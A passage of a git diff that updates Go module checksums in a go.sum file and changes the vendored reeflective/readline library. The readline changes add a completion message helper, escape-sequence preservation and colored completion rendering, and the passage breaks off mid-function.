h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8= github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f h1:5hWo+DzJQSOBl6X+TDac0SPWffRonuRJ2///OYtYRT8= @@ -242,12 +253,15 @@ github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxv github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a h1:+RR6SqnTkDLWyICxS1xpjCi/3dhyV+TgZwA6Ww3KncQ= github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a/go.mod h1:YTtCCM3ryyfiu4F7t8HQ1mxvp1UBdWM2r6Xa+nGWvDk= github.com/kr/fs v0.1.0 h1:Jskdu9ieNAYnjxsi0LbQp1ulIKZV1LAFgK1tWhpZgl8= +github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= +github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/pty v1.1.4/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo= github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs= github.com/leodido/go-urn v1.2.0 h1:hpXL4XnriNwQ/ABnpepYM/1vCLWNDfUNts8dX3xTG6Y= @@ -296,8 +310,10 @@ github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= +github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= github.com/moloch--/asciicast v0.1.0 h1:eBOJwuFKSk447s/kPs9MWsc4kAl5HmuKIDLDYD6/RrM= github.com/moloch--/asciicast v0.1.0/go.mod h1:OckO16UDLgxVLclrCnbocL1ix15Br/8Xv/caBoYq98o= github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8= @@ -317,6 +333,7 @@ github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/profile v1.6.0/go.mod h1:qBsxPvzyUincmltOk6iyRVxHYg4adc0OFOv72ZdLa18= github.com/pkg/sftp v1.13.5 h1:a3RLUqkyjYRtBTZJZ1VRrKbN3zhuPLlUc3sphVz81go= +github.com/pkg/sftp v1.13.5/go.mod h1:wHDZ0IZX6JcBYRK1TH9bcVq8G7TLpVHYIGJRFnmPfxg= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= @@ -326,6 +343,8 @@ github.com/reeflective/carapace v0.25.2-0.20230808000955-080d3bd7f194 h1:Ibirru7 github.com/reeflective/carapace v0.25.2-0.20230808000955-080d3bd7f194/go.mod h1:jkLt41Ne2TD2xPuMdX/2O05Smhy8vMgG7O2TYvC0yOc= github.com/reeflective/console v0.1.7-0.20230810163856-bb6bbfdcae4a h1:eH0mArXKs7CljsUX6dhN/+IJlhvQ2I0Mg0ku8Ah0Hao= github.com/reeflective/console v0.1.7-0.20230810163856-bb6bbfdcae4a/go.mod h1:7owTBE9k2lg2QpVw7g4DrK1HxEgr/5DQCmA3O2Znoek= +github.com/reeflective/console v0.1.7 h1:nCuWfWv5x6B9T1XSko/2LdFQSftiwnE+NpNvKDFXw2I= +github.com/reeflective/console v0.1.7/go.mod h1:hnei2839LkOh6N4m2rTx2Vx3QAVkF9X74BG7MKbIljs= github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= @@ -333,6 +352,11 @@ github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJ github.com/rivo/uniseg v0.4.4 h1:8TfxU8dW6PdqD27gjM8MVNuicgxIjxpm4K7x4jp8sis= github.com/rivo/uniseg v0.4.4/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= github.com/rogpeppe/go-internal v1.11.0 h1:cWPaGQEPrBb5/AsnsZesgZZ9yb1OQ+GOISoDNXVBh4M= +github.com/rogpeppe/go-internal v1.11.0/go.mod h1:ddIwULY96R17DhadqLgMfk9H9tvdUzkipdSkR5nkCZA= +github.com/rsteube/carapace v0.43.0 h1:XFUouYcQxx/LNffsM7ivltFvBKGtawHieD1RvZ+vl2U= +github.com/rsteube/carapace v0.43.0/go.mod h1:1l4sZA+/sGW9sBLqEholUd+kn9xKgh2ghBFDYC3D/zA= +github.com/rsteube/carapace-shlex v0.0.4 h1:3GVn8PaM2RCxPTAiwVy9vDQI8Mi7DqrbdpDgf5ZzQmY= +github.com/rsteube/carapace-shlex v0.0.4/go.mod h1:zPw1dOFwvLPKStUy9g2BYKanI6bsQMATzDMYQQybo3o= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= @@ -376,6 +400,7 @@ github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33 github.com/things-go/go-socks5 v0.0.3 h1:QtlIhkwDuLNCwW3wnt2uTjn1mQzpyjnwct2xdPuqroI= github.com/things-go/go-socks5 v0.0.3/go.mod h1:f8Zx+n8kfzyT90hXM767cP6sysAud93+t9rV90IgMcg= github.com/u-root/u-root v0.11.0 h1:6gCZLOeRyevw7gbTwMj3fKxnr9+yHFlgF3N7udUVNO8= +github.com/u-root/u-root v0.11.0/go.mod h1:DBkDtiZyONk9hzVEdB/PWI9B4TxDkElWlVTHseglrZY= github.com/u-root/uio v0.0.0-20230305220412-3e8cd9d6bf63 h1:YcojQL98T/OO+rybuzn2+5KrD5dBwXIvYBvQ2cD3Avg= github.com/u-root/uio v0.0.0-20230305220412-3e8cd9d6bf63/go.mod h1:eLL9Nub3yfAho7qB0MzZizFhTU2QkLeoVsWdHtDW264= github.com/ugorji/go v1.1.7 h1:/68gy2h+1mWMrwZFeD1kQialdSzAb432dtpeJ42ovdo= @@ -418,6 +443,7 @@ golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1 h1:k/i9J1pBpvlfR+9QsetwPyERsqu1GIbi967PQMq3Ivc= golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1/go.mod h1:V1LtkGg67GoY2N1AnLN78QLrzxkLyJw7RJb1gzOOz9w= golang.org/x/exp/typeparams v0.0.0-20230425010034-47ecfdc1ba53 h1:w/MOPdQ1IoYoDou3L55ZbTx2Nhn7JAhX1BBZor8qChU= +golang.org/x/exp/typeparams v0.0.0-20230425010034-47ecfdc1ba53/go.mod h1:AbB0pIl9nAr9wVwH+Z2ZpaocVmF5I4GyWCDIsVjR0bk= golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= @@ -445,6 +471,7 @@ golang.org/x/net v0.11.0 h1:Gi2tvZIJyBtO9SDr1q9h5hEQCp/4L2RQ+ar0qjx2oNU= golang.org/x/net v0.11.0/go.mod h1:2L/ixqYpgIVXmeoSA/4Lu7BzTG4KIyPIryS4IsOd1oQ= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.7.0 h1:qe6s0zUXlPX80/dITx3440hWZ7GwMwgDDyrSGTPJG/g= +golang.org/x/oauth2 v0.7.0/go.mod h1:hPLQkd9LyjfXTiRohC/41GhcFqxisoUQ99sCUOHO9x4= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -537,6 +564,7 @@ golang.zx2c4.com/wireguard/windows v0.5.3/go.mod h1:9TEe8TJmtwyQebdFwAkEWOPr3prr google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c= +google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= @@ -558,6 +586,7 @@ gopkg.in/AlecAivazis/survey.v1 v1.8.8/go.mod h1:CaHjv79TCgAvXMSFJSVgonHXYWxnhzI3 gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/jcmturner/aescts.v1 v1.0.1 h1:cVVZBK2b1zY26haWB4vbBiZrfFQnfbTVrE3xZq6hrEw= gopkg.in/jcmturner/aescts.v1 v1.0.1/go.mod h1:nsR8qBOg+OucoIW+WMhB3GspUQXq9XorLnQb9XtvcOo= gopkg.in/jcmturner/dnsutils.v1 v1.0.1 h1:cIuC1OLRGZrld+16ZJvvZxVJeKPsvd5eUIvxfoN5hSM= @@ -571,6 +600,7 @@ gopkg.in/jcmturner/rpc.v1 v1.1.0/go.mod h1:YIdkC4XfD6GXbzje11McwsDuOlZQSb9W4vfLv gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= +gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= @@ -589,10 +619,13 @@ gvisor.dev/gvisor v0.0.0-20230504175454-7b0a1988a28f/go.mod h1:pzr6sy8gDLfVmDAg8 honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.4.3 h1:o/n5/K5gXqk8Gozvs2cnL0F2S1/g1vcGCAx2vETjITw= +honnef.co/go/tools v0.4.3/go.mod h1:36ZgoUOrqOk1GxwHhyryEkq8FQWkUO2xGuSMhUCcdvA= howett.net/plist v1.0.0 h1:7CrbWYbPPO/PyNy38b2EB/+gYbjCe2DXBxgtOOZbSQM= +howett.net/plist v1.0.0/go.mod h1:lqaXoTrLY4hg8tnEzNru53gicrbv7rrk+2xJA/7hw9g= inet.af/peercred v0.0.0-20210906144145-0893ea02156a h1:qdkS8Q5/i10xU2ArJMKYhVa1DORzBfYS/qA2UK2jheg= inet.af/peercred v0.0.0-20210906144145-0893ea02156a/go.mod h1:FjawnflS/udxX+SvpsMgZfdqx2aykOlkISeAsADi5IU= inet.af/wf v0.0.0-20221017222439-36129f591884 h1:zg9snq3Cpy50lWuVqDYM7AIRVTtU50y5WXETMFohW/Q= +inet.af/wf v0.0.0-20221017222439-36129f591884/go.mod h1:bSAQ38BYbY68uwpasXOTZo22dKGy9SNvI6PZFeKomZE= lukechampine.com/uint128 v1.2.0 h1:mBi/5l91vocEN8otkC5bDLhi2KdCticRiwbdB0O+rjI= lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk= modernc.org/cc/v3 v3.40.0 h1:P3g79IUS/93SYhtoeaHW+kRCIrYaxJ27MFPv+7kaTOw= @@ -600,7 +633,9 @@ modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0= modernc.org/ccgo/v3 v3.16.13 h1:Mkgdzl46i5F/CNR/Kj80Ri59hC8TKAhZrYSaqvkwzUw= modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY= modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk= +modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ= modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM= +modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM= modernc.org/libc v1.22.5 h1:91BNch/e5B0uPbJFgqbxXuOnxBQjlS//icfQEGmvyjE= modernc.org/libc v1.22.5/go.mod h1:jj+Z7dTNX8fBScMVNRAYZ/jF91K8fdT2hYMThc3YjBY= modernc.org/mathutil v1.5.0 h1:rV0Ko/6SfM+8G+yKiyI830l3Wuz1zRutdslNoQ0kfiQ= @@ -614,11 +649,14 @@ modernc.org/sqlite v1.23.1/go.mod h1:OrDj17Mggn6MhE+iPbBNf7RGKODDE9NFT0f3EwDzJqk modernc.org/strutil v1.1.3 h1:fNMm+oJklMGYfU9Ylcywl0CO5O6nTfaowNsh2wpPjzY= modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw= modernc.org/tcl v1.15.2 h1:C4ybAYCGJw968e+Me18oW55kD/FexcHbqH2xak1ROSY= +modernc.org/tcl v1.15.2/go.mod h1:3+k/ZaEbKrC8ePv8zJWPtBSW0V7Gg9g8rkmhI1Kfs3c= modernc.org/token v1.0.1 h1:A3qvTqOwexpfZZeyI0FeGPDlSWX5pjZu9hF4lU+EKWg= modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= modernc.org/z v1.7.3 h1:zDJf6iHjrnB+WRD88stbXokugjyc0/pB91ri1gO6LZY= +modernc.org/z v1.7.3/go.mod h1:Ipv4tsdxZRbQyLq9Q1M6gdbkxYzdlrciF2Hi/lS7nWE= nhooyr.io/websocket v1.8.7 h1:usjR2uOr/zjjkVMy0lW+PPohFok7PCow5sDjLgX4P4g= nhooyr.io/websocket v1.8.7/go.mod h1:B70DZP8IakI65RVQ51MsWP/8jndNma26DVA/nFSCgW0= software.sslmate.com/src/go-pkcs12 v0.2.0 h1:nlFkj7bTysH6VkC4fGphtjXRbezREPgrHuJG20hBGPE= +software.sslmate.com/src/go-pkcs12 v0.2.0/go.mod h1:23rNcYsMabIc1otwLpTkCCPwUq6kQsTyowttG/as0kQ= tailscale.com v1.44.0 h1:MPos9n30kJvdyfL52045gVFyNg93K+bwgDsr8gqKq2o= tailscale.com v1.44.0/go.mod h1:+iYwTdeHyVJuNDu42Zafwihq1Uqfh+pW7pRaY1GD328= diff --git a/vendor/github.com/reeflective/readline/completions.go b/vendor/github.com/reeflective/readline/completions.go index 4ed2c108d9..099a4fd276 100644 --- a/vendor/github.com/reeflective/readline/completions.go +++ b/vendor/github.com/reeflective/readline/completions.go @@ -22,6 +22,7 @@ type Completions struct { noSort map[string]bool listSep map[string]string pad map[string]bool + escapes map[string]bool // Initially this will be set to the part of the current word // from the beginning of the word up to the position of the cursor. @@ -48,7 +49,7 @@ func CompleteValues(values ...string) Completions { // CompleteStyledValues is like CompleteValues but also accepts a style. func CompleteStyledValues(values ...string) Completions { if length := len(values); length%2 != 0 { - return Message("invalid amount of arguments [CompleteStyledValues]: %v", length) + return CompleteMessage("invalid amount of arguments [CompleteStyledValues]: %v", length) } vals := make([]Completion, 0, len(values)/2) @@ -62,7 +63,7 @@ func CompleteStyledValues(values ...string) Completions { // CompleteValuesDescribed completes arbitrary key (values) with an additional description (value, description pairs). func CompleteValuesDescribed(values ...string) Completions { if length := len(values); length%2 != 0 { - return Message("invalid amount of arguments [CompleteValuesDescribed]: %v", length) + return CompleteMessage("invalid amount of arguments [CompleteValuesDescribed]: %v", length) } vals := make([]Completion, 0, len(values)/2) @@ -76,7 +77,7 @@ func CompleteValuesDescribed(values ...string) Completions { // CompleteStyledValuesDescribed is like CompleteValues but also accepts a style. func CompleteStyledValuesDescribed(values ...string) Completions { if length := len(values); length%3 != 0 { - return Message("invalid amount of arguments [CompleteStyledValuesDescribed]: %v", length) + return CompleteMessage("invalid amount of arguments [CompleteStyledValuesDescribed]: %v", length) } vals := make([]Completion, 0, len(values)/3) @@ -87,13 +88,27 @@ func CompleteStyledValuesDescribed(values ...string) Completions { return Completions{values: vals} } +// CompleteMessage ads a help message to display along with +// or in places where no completions can be generated. +func CompleteMessage(msg string, args ...any) Completions { + comps := Completions{} + + if len(args) > 0 { + msg = fmt.Sprintf(msg, args...) + } + + comps.messages.Add(msg) + + return comps +} + // CompleteRaw directly accepts a list of prepared Completion values. func CompleteRaw(values []Completion) Completions { return Completions{values: completion.RawValues(values)} } // Message displays a help messages in places where no completions can be generated. -func Message(msg string, args ...interface{}) Completions { +func Message(msg string, args ...any) Completions { comps := Completions{} if len(args) > 0 { @@ -108,7 +123,7 @@ func Message(msg string, args ...interface{}) Completions { // Suppress suppresses specific error messages using regular expressions. func (c Completions) Suppress(expr ...string) Completions { if err := c.messages.Suppress(expr...); err != nil { - return Message(err.Error()) + return CompleteMessage(err.Error()) } return c @@ -153,7 +168,7 @@ func (c Completions) Suffix(suffix string) Completions { } // Usage sets the usage. -func (c Completions) Usage(usage string, args ...interface{}) Completions { +func (c Completions) Usage(usage string, args ...any) Completions { return c.UsageF(func() string { return fmt.Sprintf(usage, args...) }) @@ -255,7 +270,7 @@ func (c Completions) ListSeparator(seps ...string) Completions { } if length := len(seps); len(seps) > 1 && length%2 != 0 { - return Message("invalid amount of arguments (ListSeparator): %v", length) + return CompleteMessage("invalid amount of arguments (ListSeparator): %v", length) } if len(seps) == 1 { @@ -322,6 +337,35 @@ func (c Completions) JustifyDescriptions(tags ...string) Completions { return c } +// PreserveEscapes forces the completion engine to keep all escaped characters in +// the inserted completion (c.Value of the Completion type). By default, those are +// stripped out and only kept in the completion.Display. If no arguments are given, +// escape sequence preservation will apply to all tags. +// +// This has very few use cases: one of them might be when you want to read a string +// from the readline shell that might include color sequences to be preserved. +// In such cases, this function gives a double advantage: the resulting completion +// is still "color-displayed" in the input line, and returned to the readline with +// them. A classic example is where you want to read a prompt string configuration. +// +// Note that this option might have various undefined behaviors when it comes to +// completion prefix matching, insertion, removal and related things. +func (c Completions) PreserveEscapes(tags ...string) Completions { + if c.escapes == nil { + c.escapes = make(map[string]bool) + } + + if len(tags) == 0 { + c.escapes["*"] = true + } + + for _, tag := range tags { + c.escapes[tag] = true + } + + return c +} + // Merge merges Completions (existing values are overwritten) // // a := CompleteValues("A", "B").Invoke(c) @@ -400,6 +444,10 @@ func (c *Completions) convert() completion.Values { comps.NoSort = c.noSort comps.ListSep = c.listSep comps.Pad = c.pad + comps.Escapes = c.escapes + + comps.PREFIX = c.PREFIX + comps.SUFFIX = c.SUFFIX return comps } diff --git a/vendor/github.com/reeflective/readline/internal/color/color.go b/vendor/github.com/reeflective/readline/internal/color/color.go index 0ab48c1d45..91afc219ff 100644 --- a/vendor/github.com/reeflective/readline/internal/color/color.go +++ b/vendor/github.com/reeflective/readline/internal/color/color.go @@ -3,6 +3,8 @@ package color import ( "os" "regexp" + "strconv" + "strings" ) // Base text effects. @@ -82,6 +84,44 @@ func Fmt(color string) string { return SGRStart + color + SGREnd } +// Trim accepts a string including arbitrary escaped sequences at arbitrary +// index positions, and returns the first 'n' printable characters in this +// string, including all escape codes found between and immediately around +// those characters (including surrounding 1st and 80th ones). +func Trim(input string, maxPrintableLength int) string { + if len(input) < maxPrintableLength { + return input + } + + // Find all escape sequences in the input + escapeIndices := re.FindAllStringIndex(input, -1) + + // Iterate over escape sequences to find the + // last escape index within maxPrintableLength + for _, indices := range escapeIndices { + if indices[0] <= maxPrintableLength { + maxPrintableLength += indices[1] - indices[0] + } else { + break + } + } + + // Determine the end index for limiting printable content + return input[:maxPrintableLength] +} + +// UnquoteRC removes the `\e` escape used in readline .inputrc +// configuration values and replaces it with the printable escape. +func UnquoteRC(color string) string { + color = strings.ReplaceAll(color, `\e`, "\x1b") + + if unquoted, err := strconv.Unquote(color); err == nil { + return unquoted + } + + return color +} + // HasEffects returns true if colors and effects are supported // on the current terminal. func HasEffects() bool { @@ -159,14 +199,3 @@ var re = regexp.MustCompile(ansi) func Strip(str string) string { return re.ReplaceAllString(str, "") } - -// wrong: reapplies fg/bg escapes regardless of the string passed. -// Users should be in charge of applying any effect as they wish. -// func SGR(color string, fg bool) string { -// if fg { -// return SGRStart + FgColorStart + color + SGREnd -// // return SGRStart + color + SGREnd -// } -// -// return SGRStart + BgColorStart + color + SGREnd -// } diff --git a/vendor/github.com/reeflective/readline/internal/completion/completion.go b/vendor/github.com/reeflective/readline/internal/completion/completion.go index 5b80a21be7..dd46657d9c 100644 --- a/vendor/github.com/reeflective/readline/internal/completion/completion.go +++ b/vendor/github.com/reeflective/readline/internal/completion/completion.go @@ -17,6 +17,9 @@ type Candidate struct { // inserted immediately after the completion. This is used for slash-autoremoval in path // completions, comma-separated completions, etc. noSpace SuffixMatcher + + displayLen int // Real length of the displayed candidate, that is not counting escaped sequences. + descLen int } // Values is used internally to hold all completion candidates and their associated data. @@ -29,6 +32,7 @@ type Values struct { NoSort map[string]bool ListSep map[string]string Pad map[string]bool + Escapes map[string]bool // Initially this will be set to the part of the current word // from the beginning of the word up to the position of the cursor. diff --git a/vendor/github.com/reeflective/readline/internal/completion/display.go b/vendor/github.com/reeflective/readline/internal/completion/display.go index 46f13e745a..e4b2d9b632 100644 --- a/vendor/github.com/reeflective/readline/internal/completion/display.go +++ b/vendor/github.com/reeflective/readline/internal/completion/display.go @@ -3,6 +3,7 @@ package completion import ( "bufio" "fmt" + "regexp" "strings" "github.com/reeflective/readline/internal/color" @@ -30,7 +31,7 @@ func Display(eng *Engine, maxRows int) { completions := term.ClearLineAfter for _, group := range eng.groups { - completions += group.writeComps(eng) + completions += eng.renderCompletions(group) } // Crop the completions so that it fits within our terminal @@ -47,6 +48,129 @@ func Coordinates(e *Engine) int { return e.usedY } +// renderCompletions renders all completions in a given list (with aliases or not). +// The descriptions list argument is optional. +func (e *Engine) renderCompletions(grp *group) string { + var builder strings.Builder + + if len(grp.rows) == 0 { + return "" + } + + if grp.tag != "" { + tag := fmt.Sprintf("%s%s%s %s", color.Bold, color.FgYellow, grp.tag, color.Reset) + builder.WriteString(tag + term.ClearLineAfter + term.NewlineReturn) + } + + for rowIndex, row := range grp.rows { + for columnIndex := range grp.columnsWidth { + var value Candidate + + // If there are aliases, we might have no completions at the current + // coordinates, so just print the corresponding padding and return. + if len(row) > columnIndex { + value = row[columnIndex] + } + + // Apply all highlightings to the displayed value: + // selection, prefixes, styles and other things, + padding := grp.getPad(value, columnIndex, false) + isSelected := rowIndex == grp.posY && columnIndex == grp.posX && grp.isCurrent + display := e.highlightDisplay(grp, value, padding, columnIndex, isSelected) + + builder.WriteString(display) + + // Add description if no aliases, or if done with them. + onLast := columnIndex == len(grp.columnsWidth)-1 + if grp.aliased && onLast && value.Description == "" { + value = row[0] + } + + if !grp.aliased || onLast { + grp.maxDescAllowed = grp.setMaximumSizes(columnIndex) + + descPad := grp.getPad(value, columnIndex, true) + desc := e.highlightDesc(grp, value, descPad, rowIndex, columnIndex, isSelected) + builder.WriteString(desc) + } + } + + // We're done for this line. + builder.WriteString(term.ClearLineAfter + term.NewlineReturn) + } + + return builder.String() +} + +func (e *Engine) highlightDisplay(grp *group, val Candidate, pad, col int, selected bool) (candidate string) { + // An empty display value means padding. + if val.Display == "" { + return padSpace(pad) + } + + reset := color.Fmt(val.Style) + candidate, padded := grp.trimDisplay(val, pad, col) + + if e.IsearchRegex != nil && e.isearchBuf.Len() > 0 && !selected { + match := e.IsearchRegex.FindString(candidate) + match = color.Fmt(color.Bg+"244") + match + color.Reset + reset + candidate = e.IsearchRegex.ReplaceAllLiteralString(candidate, match) + } + + if selected { + // If the 